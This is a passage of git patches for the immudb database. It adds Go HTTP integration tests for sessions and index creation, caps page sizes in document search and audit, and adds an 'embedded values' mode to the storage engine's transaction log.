response.Keys().ContainsOnly("code", "details", "error", "message") + response.Value("error").IsEqual("invalid user name or password") + response.Value("code").IsEqual(2) + response.Value("message").IsEqual("invalid user name or password") +} + +func (s *SessionTestSuite) TestOpenSessionWithNonExistingDatabase() { + baseURL := actions.GetBaseUrl() + + user := models.User{ + Username: "immudb", + Password: "immudb", + Database: "mydb", + } + + expect := httpexpect.Default(s.T(), baseURL) + response := expect.POST("/authorization/session/open"). + WithJSON(user). + Expect(). + Status(http.StatusInternalServerError).JSON().Object() + + print(response) + response.Keys().ContainsOnly("code", "error", "message") + response.Value("error").IsEqual("database does not exist") + response.Value("code").IsEqual(2) + response.Value("message").IsEqual("database does not exist") +} + +func TestSessionTestSuite(t *testing.T) { + suite.Run(t, new(SessionTestSuite)) +} From 363b375a7c7ceed2bc73fed4e8953bf77b380b89 Mon Sep 17 00:00:00 2001 From: Marco Sanchotene Date: Thu, 25 May 2023 15:36:14 -0300 Subject: [PATCH 0578/1062] test(documents): use user type when opening session Signed-off-by: Marco Sanchotene --- .../documents_tests/actions/session.go | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) diff --git a/test/document_storage_tests/documents_tests/actions/session.go b/test/document_storage_tests/documents_tests/actions/session.go index 9d18dc92fe..383928b089 100644 --- a/test/document_storage_tests/documents_tests/actions/session.go +++ b/test/document_storage_tests/documents_tests/actions/session.go @@ -21,16 +21,17 @@ import ( "os" "testing" + "github.com/codenotary/immudb/test/document_storage_tests/documents_tests/models" "github.com/gavv/httpexpect/v2" ) func OpenSession(t *testing.T) (*httpexpect.Expect, string) { baseURL := GetBaseUrl() - user := map[string]interface{}{ - "username": "immudb", - "password": "immudb", - "database": "defaultdb", + user := models.User{ + Username: "immudb", + Password: "immudb", + Database: "defaultdb", } expect := httpexpect.Default(t, baseURL) From 382e3dbdc4ee44a22ee91cd9319145c047b106f6 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Sat, 27 May 2023 15:00:26 +0200 Subject: [PATCH 0579/1062] chore(pkg/database): hard limit on page size Signed-off-by: Jeronimo Irazabal --- pkg/database/document_database.go | 5 ++++ pkg/server/documents_operations.go | 45 +++++++++++++++++------------- 2 files changed, 31 insertions(+), 19 deletions(-) diff --git a/pkg/database/document_database.go b/pkg/database/document_database.go index 33ef0f6540..0dcd617dc2 100644 --- a/pkg/database/document_database.go +++ b/pkg/database/document_database.go @@ -247,6 +247,11 @@ func (d *db) AuditDocument(ctx context.Context, req *protomodel.AuditDocumentReq offset := uint64((req.Page - 1) * req.PageSize) limit := int(req.PageSize) + if limit > d.maxResultSize { + return nil, fmt.Errorf("%w: the specified page size (%d) is larger than the maximum allowed one (%d)", + ErrResultSizeLimitExceeded, limit, d.maxResultSize) + } + // verify if document id is valid docID, err := document.NewDocumentIDFromHexEncodedString(req.DocumentId) if err != nil { diff --git a/pkg/server/documents_operations.go b/pkg/server/documents_operations.go index 9804fc1572..926075af97 100644 --- a/pkg/server/documents_operations.go +++ b/pkg/server/documents_operations.go @@ -24,6 +24,7 @@ import ( "github.com/codenotary/immudb/embedded/document" "github.com/codenotary/immudb/pkg/api/protomodel" "github.com/codenotary/immudb/pkg/api/schema" + "github.com/codenotary/immudb/pkg/database" "github.com/codenotary/immudb/pkg/server/sessions" "github.com/rs/xid" ) @@ -163,6 +164,15 @@ func (s *ImmuServer) SearchDocuments(ctx context.Context, req *protomodel.Search return nil, fmt.Errorf("%w: query or searchId must be specified, not both", ErrIllegalArguments) } + if req.Page < 1 || req.PageSize < 1 { + return nil, fmt.Errorf("%w: invalid page or page size", ErrIllegalArguments) + } + + if int(req.PageSize) > db.MaxResultSize() { + return nil, fmt.Errorf("%w: the specified page size (%d) is larger than the maximum allowed one (%d)", + database.ErrResultSizeLimitExceeded, req.PageSize, db.MaxResultSize()) + } + // get the session from the context sessionID, err := sessions.GetSessionIDFromContext(ctx) if err != nil { @@ -174,14 +184,17 @@ func (s *ImmuServer) SearchDocuments(ctx context.Context, req *protomodel.Search return nil, err } - // check if the paginated reader for this query has already been created + searchID := req.SearchId + query := req.Query + var pgreader *sessions.PaginatedDocumentReader - // check if the incoming SearchId is valid - if req.SearchId != "" { + if searchID == "" { + searchID = xid.New().String() + } else { var err error - if pgreader, err = sess.GetDocumentReader(req.SearchId); err != nil { + if pgreader, err = sess.GetDocumentReader(searchID); err != nil { // invalid SearchId, return error return nil, err } @@ -192,26 +205,20 @@ func (s *ImmuServer) SearchDocuments(ctx context.Context, req *protomodel.Search if pgreader.Reader != nil { err := pgreader.Reader.Close() if err != nil { - s.Logger.Errorf("error closing paginated reader: %s, err = %v", req.SearchId, err) + s.Logger.Errorf("error closing paginated reader: %s, err = %v", searchID, err) } } - req.Query = pgreader.Query + query = pgreader.Query pgreader = nil } - } else { - if req.Page < 1 || req.PageSize < 1 { - return nil, fmt.Errorf("%w: invalid page or page size", ErrIllegalArguments) - } - - req.SearchId = xid.New().String() } if pgreader == nil { // create a new reader and add it to the session offset := int64((req.Page - 1) * req.PageSize) - docReader, err := db.SearchDocuments(ctx, req.Query, offset) + docReader, err := db.SearchDocuments(ctx, query, offset) if err != nil { return nil, err } @@ -219,12 +226,12 @@ func (s *ImmuServer) SearchDocuments(ctx context.Context, req *protomodel.Search // store the reader in the session for future use pgreader = &sessions.PaginatedDocumentReader{ Reader: docReader, - Query: req.Query, + Query: query, LastPageNumber: req.Page, LastPageSize: req.PageSize, } - sess.SetPaginatedDocumentReader(req.SearchId, pgreader) + sess.SetPaginatedDocumentReader(searchID, pgreader) } // read the next page of data from the paginated reader @@ -235,9 +242,9 @@ func (s *ImmuServer) SearchDocuments(ctx context.Context, req *protomodel.Search if errors.Is(err, document.ErrNoMoreDocuments) || !req.KeepOpen { // end of data reached, remove the paginated reader and pagination parameters from the session - err = sess.DeleteDocumentReader(req.SearchId) + err = sess.DeleteDocumentReader(searchID) if err != nil { - s.Logger.Errorf("error deleting paginated reader: %s, err = %v", req.SearchId, err) + s.Logger.Errorf("error deleting paginated reader: %s, err = %v", searchID, err) } return &protomodel.SearchDocumentsResponse{ @@ -246,10 +253,10 @@ func (s *ImmuServer) SearchDocuments(ctx context.Context, req *protomodel.Search } // update the pagination parameters for this query in the session - sess.UpdatePaginatedDocumentReader(req.SearchId, req.Page, req.PageSize) + sess.UpdatePaginatedDocumentReader(searchID, req.Page, req.PageSize) return &protomodel.SearchDocumentsResponse{ - SearchId: req.SearchId, + SearchId: searchID, Revisions: docs, }, nil } From cc29fae10857e29d4b6c8ec24eff7ac9220568ac Mon Sep 17 00:00:00 2001 From: Marco Sanchotene Date: Tue, 9 May 2023 17:05:15 -0300 Subject: [PATCH 0580/1062] test(documents): add tests to create indexes Signed-off-by: Marco Sanchotene --- .../documents_tests/actions/create_index.go | 34 ++++ .../actions/get_collections.go | 34 ++++ .../documents_tests/create_indexes_test.go | 175 ++++++++++++++++++ .../documents_tests/models/collections.go | 34 ++++ .../documents_tests/models/index.go | 22 +++ 5 files changed, 299 insertions(+) create mode 100644 test/document_storage_tests/documents_tests/actions/create_index.go create mode 100644 test/document_storage_tests/documents_tests/actions/get_collections.go create mode 100644 test/document_storage_tests/documents_tests/create_indexes_test.go create mode 100644 test/document_storage_tests/documents_tests/models/collections.go create mode 100644 test/document_storage_tests/documents_tests/models/index.go diff --git a/test/document_storage_tests/documents_tests/actions/create_index.go b/test/document_storage_tests/documents_tests/actions/create_index.go new file mode 100644 index 0000000000..2a436b0d6d --- /dev/null +++ b/test/document_storage_tests/documents_tests/actions/create_index.go @@ -0,0 +1,34 @@ +/* +Copyright 2023 Codenotary Inc. All rights reserved. + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +*/ + +package actions + +import ( + "fmt" + "net/http" + + "github.com/codenotary/immudb/test/document_storage_tests/documents_tests/models" + "github.com/gavv/httpexpect/v2" +) + +func CreateIndex(expect *httpexpect.Expect, sessionID string, collectionName string, payload models.CreateIndex) { + expect.POST(fmt.Sprintf("/collection/%s/index", collectionName)). + WithHeader("grpc-metadata-sessionid", sessionID). + WithJSON(payload). + Expect(). + Status(http.StatusOK). + JSON().Object().Empty() +} diff --git a/test/document_storage_tests/documents_tests/actions/get_collections.go b/test/document_storage_tests/documents_tests/actions/get_collections.go new file mode 100644 index 0000000000..1169fc9cbe --- /dev/null +++ b/test/document_storage_tests/documents_tests/actions/get_collections.go @@ -0,0 +1,34 @@ +/* +Copyright 2023 Codenotary Inc. All rights reserved. + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +*/ + +package actions + +import ( + "fmt" + "net/http" + + "github.com/gavv/httpexpect/v2" +) + +func GetCollection(expect *httpexpect.Expect, sessionID string, name string) *httpexpect.Object { + collection := expect.GET(fmt.Sprintf("/collection/%s", name)). + WithHeader("grpc-metadata-sessionid", sessionID). + Expect(). + Status(http.StatusOK). + JSON().Object() + + return collection +} diff --git a/test/document_storage_tests/documents_tests/create_indexes_test.go b/test/document_storage_tests/documents_tests/create_indexes_test.go new file mode 100644 index 0000000000..9654db6581 --- /dev/null +++ b/test/document_storage_tests/documents_tests/create_indexes_test.go @@ -0,0 +1,175 @@ +/* +Copyright 2023 Codenotary Inc. All rights reserved. + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +*/ + +package main + +import ( + "testing" + + "github.com/codenotary/immudb/test/document_storage_tests/documents_tests/actions" + "github.com/codenotary/immudb/test/document_storage_tests/documents_tests/models" + "github.com/gavv/httpexpect/v2" + "github.com/google/uuid" + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/suite" +) + +type IndexTestSuite struct { + suite.Suite + expect *httpexpect.Expect + sessionID string + collection_name string +} + +func (s *IndexTestSuite) SetupTest() { + s.expect, s.sessionID = actions.OpenSession(s.T()) + s.collection_name = uuid.New().String() +} + +func (s *IndexTestSuite) TestCreateIndexOnCollectionCreatedWithNameAndOneField() { + actions.CreateCollectionWithNameAndOneField(s.expect, s.sessionID, s.collection_name) + + payload := models.CreateIndex{ + Fields: []string{"first_name"}, + } + + actions.CreateIndex(s.expect, s.sessionID, s.collection_name, payload) + + collection := actions.GetCollection(s.expect, s.sessionID, s.collection_name) + + collection.Keys().ContainsOnly("collection") + collection.Value("collection").Object().Keys().ContainsOnly("name", "documentIdFieldName", "fields", "indexes") + + var employees models.Collection + + collection.Value("collection").Object().Decode(&employees) + + assert.Equal(s.T(), employees.Name, s.collection_name) + assert.Equal(s.T(), employees.DocumentIdFieldName, "_id") + assert.Equal(s.T(), len(employees.Fields), 2) + assert.Equal(s.T(), employees.Fields[0].Name, "_id") + assert.Equal(s.T(), employees.Fields[1].Name, "first_name") + assert.Equal(s.T(), len(employees.Indexes), 2) + assert.Equal(s.T(), employees.Indexes[0].Fields[0], "_id") + assert.Equal(s.T(), employees.Indexes[0].IsUnique, true) + assert.Equal(s.T(), employees.Indexes[1].Fields[0], "first_name") +} + +func (s *IndexTestSuite) TestCreateIndexOnCollectionCreatedWithNameIdFieldNameAndOneField() { + actions.CreateCollectionWithNameIdFieldNameAndOneField(s.expect, s.sessionID, s.collection_name) + + payload := models.CreateIndex{ + Fields: []string{"hire_date"}, + } + + actions.CreateIndex(s.expect, s.sessionID, s.collection_name, payload) + + collection := actions.GetCollection(s.expect, s.sessionID, s.collection_name) + + collection.Keys().ContainsOnly("collection") + collection.Value("collection").Object().Keys().ContainsOnly("name", "documentIdFieldName", "fields", "indexes") + + var employees models.Collection + + collection.Value("collection").Object().Decode(&employees) + + assert.Equal(s.T(), employees.Name, s.collection_name) + assert.Equal(s.T(), employees.DocumentIdFieldName, "emp_no") + assert.Equal(s.T(), len(employees.Fields), 2) + assert.Equal(s.T(), employees.Fields[0].Name, "emp_no") + assert.Equal(s.T(), employees.Fields[1].Name, "hire_date") + assert.Equal(s.T(), len(employees.Indexes), 2) + assert.Equal(s.T(), employees.Indexes[0].Fields[0], "emp_no") + assert.Equal(s.T(), employees.Indexes[1].Fields[0], "hire_date") +} + +func (s *IndexTestSuite) TestCreateUniqueIndexOnCollectionCreatedWithNameAndMultipleFields() { + actions.CreateCollectionWithNameAndMultipleFields(s.expect, s.sessionID, s.collection_name) + + payload := models.CreateIndex{ + Fields: []string{"gender"}, + IsUnique: true, + } + + actions.CreateIndex(s.expect, s.sessionID, s.collection_name, payload) + + collection := actions.GetCollection(s.expect, s.sessionID, s.collection_name) + + collection.Keys().ContainsOnly("collection") + collection.Value("collection").Object().Keys().ContainsOnly("name", "documentIdFieldName", "fields", "indexes") + + var employees models.Collection + + collection.Value("collection").Object().Decode(&employees) + + assert.Equal(s.T(), employees.Name, s.collection_name) + assert.Equal(s.T(), employees.DocumentIdFieldName, "_id") + assert.Equal(s.T(), len(employees.Fields), 6) + assert.Equal(s.T(), employees.Fields[0].Name, "_id") + assert.Equal(s.T(), employees.Fields[1].Name, "birth_date") + assert.Equal(s.T(), employees.Fields[2].Name, "first_name") + assert.Equal(s.T(), employees.Fields[3].Name, "last_name") + assert.Equal(s.T(), employees.Fields[4].Name, "gender") + assert.Equal(s.T(), employees.Fields[5].Name, "hire_date") + assert.Equal(s.T(), len(employees.Indexes), 2) + assert.Equal(s.T(), employees.Indexes[0].Fields[0], "_id") + assert.Equal(s.T(), employees.Indexes[0].IsUnique, true) + assert.Equal(s.T(), employees.Indexes[1].Fields[0], "gender") + assert.Equal(s.T(), employees.Indexes[1].IsUnique, true) +} + +func (s *IndexTestSuite) TestCreateUniqueIndexesOnCollectionCreatedWithNameMultipleFieldsAndMultipleIndexes() { + actions.CreateCollectionWithNameMultipleFieldsAndMultipleIndexes(s.expect, s.sessionID, s.collection_name) + + payload := models.CreateIndex{ + Fields: []string{"gender", "hire_date"}, + IsUnique: true, + } + + actions.CreateIndex(s.expect, s.sessionID, s.collection_name, payload) + + collection := actions.GetCollection(s.expect, s.sessionID, s.collection_name) + + collection.Keys().ContainsOnly("collection") + collection.Value("collection").Object().Keys().ContainsOnly("name", "documentIdFieldName", "fields", "indexes") + + var employees models.Collection + + collection.Value("collection").Object().Decode(&employees) + + assert.Equal(s.T(), employees.Name, s.collection_name) + assert.Equal(s.T(), employees.DocumentIdFieldName, "_id") + assert.Equal(s.T(), len(employees.Fields), 6) + assert.Equal(s.T(), employees.Fields[0].Name, "_id") + assert.Equal(s.T(), employees.Fields[1].Name, "birth_date") + assert.Equal(s.T(), employees.Fields[2].Name, "first_name") + assert.Equal(s.T(), employees.Fields[3].Name, "last_name") + assert.Equal(s.T(), employees.Fields[4].Name, "gender") + assert.Equal(s.T(), employees.Fields[5].Name, "hire_date") + assert.Equal(s.T(), len(employees.Indexes), 3) + assert.Equal(s.T(), employees.Indexes[0].Fields[0], "_id") + assert.Equal(s.T(), employees.Indexes[0].IsUnique, true) + assert.Equal(s.T(), employees.Indexes[1].Fields[0], "birth_date") + assert.Equal(s.T(), employees.Indexes[1].Fields[1], "last_name") + assert.Equal(s.T(), employees.Indexes[1].IsUnique, true) + assert.Equal(s.T(), employees.Indexes[2].Fields[0], "gender") + assert.Equal(s.T(), employees.Indexes[2].Fields[1], "hire_date") + assert.Equal(s.T(), employees.Indexes[2].IsUnique, true) +} + +func TestIndexTestSuite(t *testing.T) { + suite.Run(t, new(IndexTestSuite)) +} diff --git a/test/document_storage_tests/documents_tests/models/collections.go b/test/document_storage_tests/documents_tests/models/collections.go new file mode 100644 index 0000000000..2292d73842 --- /dev/null +++ b/test/document_storage_tests/documents_tests/models/collections.go @@ -0,0 +1,34 @@ +/* +Copyright 2023 Codenotary Inc. All rights reserved. + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +*/ + +package models + +type Collection struct { + Name string `json:"name"` + DocumentIdFieldName string `json:"documentIdFieldName"` + Fields []Field `json:"fields"` + Indexes []Index `json:"indexes"` +} + +type Field struct { + Name string `json:"name"` + Type string `json:"type"` +} + +type Index struct { + Fields []string `json:"fields"` + IsUnique bool `json:"isUnique"` +} diff --git a/test/document_storage_tests/documents_tests/models/index.go b/test/document_storage_tests/documents_tests/models/index.go new file mode 100644 index 0000000000..893918a5ad --- /dev/null +++ b/test/document_storage_tests/documents_tests/models/index.go @@ -0,0 +1,22 @@ +/* +Copyright 2023 Codenotary Inc. All rights reserved. + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +*/ + +package models + +type CreateIndex struct { + Fields []string `json:"fields"` + IsUnique bool `json:"isUnique"` +} From 8b4543df50654ad3bec9114ef72ee18df267fff0 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Tue, 16 May 2023 12:29:39 -0300 Subject: [PATCH 0581/1062] feat(embedded/store): embeddable values Signed-off-by: Jeronimo Irazabal --- embedded/store/immustore.go | 243 ++++++++++++++++++++++++++---------- 1 file changed, 176 insertions(+), 67 deletions(-) diff --git a/embedded/store/immustore.go b/embedded/store/immustore.go index 346eb335fc..8bc51af025 100644 --- a/embedded/store/immustore.go +++ b/embedded/store/immustore.go @@ -166,6 +166,7 @@ type ImmuStore struct { commitStateRWMutex sync.RWMutex + embeddedValues bool readOnly bool synced bool syncFrequency time.Duration @@ -1044,7 +1045,16 @@ func (s *ImmuStore) fetchAnyVLog() (vLodID byte, vLog appendable.Appendable) { return vLogID, s.vLogs[vLogID-1].vLog } -func (s *ImmuStore) fetchVLog(vLogID byte) appendable.Appendable { +func (s *ImmuStore) fetchVLog(vLogID byte) (appendable.Appendable, error) { + if s.embeddedValues { + if vLogID > 0 { + return nil, fmt.Errorf("%w: attempt to read from a non-embedded vlog while using embedded values", ErrUnexpectedError) + } + + s.commitStateRWMutex.Lock() + return s.txLog, nil + } + s.vLogsCond.L.Lock() defer s.vLogsCond.L.Unlock() @@ -1055,14 +1065,25 @@ func (s *ImmuStore) fetchVLog(vLogID byte) appendable.Appendable { s.vLogUnlockedList.Remove(s.vLogs[vLogID-1].unlockedRef) s.vLogs[vLogID-1].unlockedRef = nil // locked - return s.vLogs[vLogID-1].vLog + return s.vLogs[vLogID-1].vLog, nil } -func (s *ImmuStore) releaseVLog(vLogID byte) { +func (s *ImmuStore) releaseVLog(vLogID byte) error { + if s.embeddedValues { + if vLogID > 0 { + return fmt.Errorf("%w: attempt to release a non-embedded vlog while using embedded values", ErrUnexpectedError) + } + + s.commitStateRWMutex.Unlock() + return nil + } + s.vLogsCond.L.Lock() s.vLogs[vLogID-1].unlockedRef = s.vLogUnlockedList.PushBack(vLogID - 1) // unlocked s.vLogsCond.L.Unlock() s.vLogsCond.Signal() + + return nil } type appendableResult struct { @@ -1070,34 +1091,37 @@ type appendableResult struct { err error } -func (s *ImmuStore) appendData(entries []*EntrySpec, donec chan<- appendableResult) { - offsets := make([]int64, len(entries)) - +func (s *ImmuStore) appendValuesIntoAnyVLog(entries []*EntrySpec) (offsets []int64, err error) { vLogID, vLog := s.fetchAnyVLog() defer s.releaseVLog(vLogID) + offsets, err = s.appendValuesInto(entries, vLog) + if err != nil { + return nil, err + } + + for i := 0; i < len(offsets); i++ { + offsets[i] = encodeOffset(offsets[i], vLogID) + } + + return offsets, nil +} + +func (s *ImmuStore) appendValuesInto(entries []*EntrySpec, app appendable.Appendable) (offsets []int64, err error) { + offsets = make([]int64, len(entries)) + for i := 0; i < len(offsets); i++ { if len(entries[i].Value) == 0 { continue } - voff, _, err := vLog.Append(entries[i].Value) + offsets[i], _, err = app.Append(entries[i].Value) if err != nil { - donec <- appendableResult{nil, err} - return - } - offsets[i] = encodeOffset(voff, vLogID) - - if s.vLogCache != nil { - _, _, err = s.vLogCache.Put(offsets[i], entries[i].Value) - if err != nil { - donec <- appendableResult{nil, err} - return - } + return nil, err } } - donec <- appendableResult{offsets, nil} + return offsets, nil } func (s *ImmuStore) NewWriteOnlyTx(ctx context.Context) (*OngoingTx, error) { @@ -1164,11 +1188,6 @@ func (s *ImmuStore) precommit(ctx context.Context, otx *OngoingTx, hdr *TxHeader } defer s.releaseAllocTx(tx) - appendableCh := make(chan appendableResult) - defer close(appendableCh) - - go s.appendData(otx.entries, appendableCh) - if hdr == nil { tx.header.Version = s.writeTxHeaderVersion } else { @@ -1179,6 +1198,24 @@ func (s *ImmuStore) precommit(ctx context.Context, otx *OngoingTx, hdr *TxHeader tx.header.NEntries = len(otx.entries) + doneWithValuesCh := make(chan appendableResult) + defer close(doneWithValuesCh) + + go func() { + if s.embeddedValues { + // value write is delayed to ensure values are inmediatelly followed by the associated tx header + doneWithValuesCh <- appendableResult{nil, nil} + } + + offsets, err := s.appendValuesIntoAnyVLog(otx.entries) + if err != nil { + doneWithValuesCh <- appendableResult{nil, err} + return + } + + doneWithValuesCh <- appendableResult{offsets, nil} + }() + for i, e := range otx.entries { txe := tx.entries[i] txe.setKey(e.Key) @@ -1193,14 +1230,19 @@ func (s *ImmuStore) precommit(ctx context.Context, otx *OngoingTx, hdr *TxHeader err = tx.BuildHashTree() if err != nil { - <-appendableCh // wait for data to be written + <-doneWithValuesCh // wait for data to be written return nil, err } - r := <-appendableCh // wait for data to be written - err = r.err - if err != nil { - return nil, err + valueWritingResult := <-doneWithValuesCh // wait for data to be written + if valueWritingResult.err != nil { + return nil, valueWritingResult.err + } + + if !s.embeddedValues { + for i := 0; i < tx.header.NEntries; i++ { + tx.entries[i].vOff = valueWritingResult.offsets[i] + } } if hdr != nil { @@ -1299,11 +1341,7 @@ func (s *ImmuStore) precommit(ctx context.Context, otx *OngoingTx, hdr *TxHeader } } - for i := 0; i < tx.header.NEntries; i++ { - tx.entries[i].vOff = r.offsets[i] - } - - err = s.performPrecommit(tx, ts, blTxID) + err = s.performPrecommit(tx, otx.entries, ts, blTxID) if err != nil { return nil, err } @@ -1336,7 +1374,7 @@ func (s *ImmuStore) MandatoryMVCCUpToTxID() uint64 { return s.mandatoryMVCCUpToTxID } -func (s *ImmuStore) performPrecommit(tx *Tx, ts int64, blTxID uint64) error { +func (s *ImmuStore) performPrecommit(tx *Tx, entries []*EntrySpec, ts int64, blTxID uint64) error { s.commitStateRWMutex.Lock() defer s.commitStateRWMutex.Unlock() @@ -1345,12 +1383,6 @@ func (s *ImmuStore) performPrecommit(tx *Tx, ts int64, blTxID uint64) error { return ErrMaxActiveTransactionsLimitExceeded } - // will overwrite partially written and uncommitted data - err := s.txLog.SetOffset(s.precommittedTxLogSize) - if err != nil { - return fmt.Errorf("commit log: could not set offset: %w", err) - } - tx.header.ID = s.inmemPrecommittedTxID + 1 tx.header.Ts = ts @@ -1416,6 +1448,41 @@ func (s *ImmuStore) performPrecommit(tx *Tx, ts int64, blTxID uint64) error { } } + // will overwrite partially written and uncommitted data + err := s.txLog.SetOffset(s.precommittedTxLogSize) + if err != nil { + return fmt.Errorf("%w: could not set offset in txLog", err) + } + + // total values length will be prefixed when values are embedded into txLog + txPrefixLen := 0 + + if s.embeddedValues { + embeddedValuesLen := 0 + for _, e := range entries { + embeddedValuesLen += len(e.Value) + } + + var embeddedValuesLenBs [sszSize]byte + binary.BigEndian.PutUint16(embeddedValuesLenBs[:], uint16(embeddedValuesLen)) + + _, _, err := s.txLog.Append(embeddedValuesLenBs[:]) + if err != nil { + return fmt.Errorf("%w: writing transaction values", err) + } + + offsets, err := s.appendValuesInto(entries, s.txLog) + if err != nil { + return fmt.Errorf("%w: writing transaction values", err) + } + + for i := 0; i < tx.header.NEntries; i++ { + tx.entries[i].vOff = offsets[i] + } + + txPrefixLen = sszSize + embeddedValuesLen + } + for i := 0; i < tx.header.NEntries; i++ { txe := tx.entries[i] @@ -1473,7 +1540,7 @@ func (s *ImmuStore) performPrecommit(tx *Tx, ts int64, blTxID uint64) error { s.inmemPrecommittedTxID++ s.inmemPrecommittedAlh = alh - s.precommittedTxLogSize += int64(txSize) + s.precommittedTxLogSize += int64(txPrefixLen + txSize) s.inmemPrecommitWHub.DoneUpto(s.inmemPrecommittedTxID) @@ -1784,37 +1851,57 @@ func (s *ImmuStore) preCommitWith(ctx context.Context, callback func(txID uint64 } defer s.releaseAllocTx(tx) - appendableCh := make(chan appendableResult) - go s.appendData(otx.entries, appendableCh) - tx.header.Version = s.writeTxHeaderVersion tx.header.NEntries = len(otx.entries) + doneWithValuesCh := make(chan appendableResult) + defer close(doneWithValuesCh) + + go func() { + if s.embeddedValues { + // value write is delayed to ensure values are inmediatelly followed by the associated tx header + doneWithValuesCh <- appendableResult{nil, nil} + } + + offsets, err := s.appendValuesIntoAnyVLog(otx.entries) + if err != nil { + doneWithValuesCh <- appendableResult{nil, err} + return + } + + doneWithValuesCh <- appendableResult{offsets, nil} + }() + for i, e := range otx.entries { txe := tx.entries[i] txe.setKey(e.Key) txe.md = e.Metadata txe.vLen = len(e.Value) - txe.hVal = sha256.Sum256(e.Value) + if e.IsValueTruncated { + txe.hVal = e.HashValue + } else { + txe.hVal = sha256.Sum256(e.Value) + } } err = tx.BuildHashTree() if err != nil { - <-appendableCh // wait for data to be written + <-doneWithValuesCh // wait for data to be written return nil, err } - r := <-appendableCh // wait for data to be written - err = r.err - if err != nil { - return nil, err + valueWritingResult := <-doneWithValuesCh // wait for data to be written + if valueWritingResult.err != nil { + return nil, valueWritingResult.err } - for i := 0; i < tx.header.NEntries; i++ { - tx.entries[i].vOff = r.offsets[i] + if !s.embeddedValues { + for i := 0; i < tx.header.NEntries; i++ { + tx.entries[i].vOff = valueWritingResult.offsets[i] + } } - err = s.performPrecommit(tx, s.timeFunc().Unix(), s.aht.Size()) + err = s.performPrecommit(tx, otx.entries, s.timeFunc().Unix(), s.aht.Size()) if err != nil { return nil, err } @@ -2666,12 +2753,16 @@ func (s *ImmuStore) ReadValue(entry *TxEntry) ([]byte, error) { func (s *ImmuStore) readValueAt(b []byte, off int64, hvalue [sha256.Size]byte, skipIntegrityCheck bool) (n int, err error) { vLogID, offset := decodeOffset(off) - if vLogID == 0 && len(b) > 0 { + if len(b) == 0 && vLogID > 0 { + return 0, fmt.Errorf("%w: attempt to read empty value from a non-embedded vlog", ErrCorruptedTxData) + } + + if !s.embeddedValues && vLogID == 0 && len(b) > 0 { // it means value was not stored on any vlog i.e. a truncated transaction was replicated return 0, io.EOF } - if vLogID > 0 { + if len(b) > 0 { foundInTheCache := false if s.vLogCache != nil { @@ -2690,11 +2781,14 @@ func (s *ImmuStore) readValueAt(b []byte, off int64, hvalue [sha256.Size]byte, s } if !foundInTheCache { - vLog := s.fetchVLog(vLogID) + vLog, err := s.fetchVLog(vLogID) + if err != nil { + return 0, err + } defer s.releaseVLog(vLogID) n, err = vLog.ReadAt(b, offset) - if err == multiapp.ErrAlreadyClosed || err == singleapp.ErrAlreadyClosed { + if errors.Is(err, multiapp.ErrAlreadyClosed) || errors.Is(err, singleapp.ErrAlreadyClosed) { return n, ErrAlreadyClosed } if err != nil { @@ -2714,10 +2808,10 @@ func (s *ImmuStore) readValueAt(b []byte, off int64, hvalue [sha256.Size]byte, s } // either value was empty (n == 0 && vLogID == 0) - // or a non-empty value (n > 0 && vLogID > 0) was read from cache or disk + // or a non-empty value (n > 0) was read from cache or disk if !skipIntegrityCheck && (len(b) != n || hvalue != sha256.Sum256(b[:n])) { - return n, ErrCorruptedData + return n, fmt.Errorf("%w: value length or digest mismatch", ErrCorruptedData) } return n, nil @@ -2791,10 +2885,13 @@ func (s *ImmuStore) sync() error { } for i := range s.vLogs { - vLog := s.fetchVLog(i + 1) + vLog, err := s.fetchVLog(i + 1) + if err != nil { + return err + } defer s.releaseVLog(i + 1) - err := vLog.Flush() + err = vLog.Flush() if err != nil { return err } @@ -2904,12 +3001,14 @@ func (s *ImmuStore) Close() error { merr := multierr.NewMultiErr() for i := range s.vLogs { - vLog := s.fetchVLog(i + 1) + vLog, err := s.fetchVLog(i + 1) + merr.Append(err) - err := vLog.Close() + err = vLog.Close() merr.Append(err) - s.releaseVLog(i + 1) + err = s.releaseVLog(i + 1) + merr.Append(err) } err := s.inmemPrecommitWHub.Close() @@ -3052,6 +3151,11 @@ func (s *ImmuStore) TruncateUptoTx(minTxID uint64) error { s.logger.Infof("running truncation up to transaction '%d'", minTxID) + if s.embeddedValues { + s.logger.Infof("truncation with embedded values does not delete any data") + return nil + } + // tombstones maintain the minimum offset for each value log file that can be safely deleted. tombstones := make(map[byte]int64) @@ -3126,10 +3230,15 @@ func (s *ImmuStore) TruncateUptoTx(minTxID uint64) error { merr := multierr.NewMultiErr() { 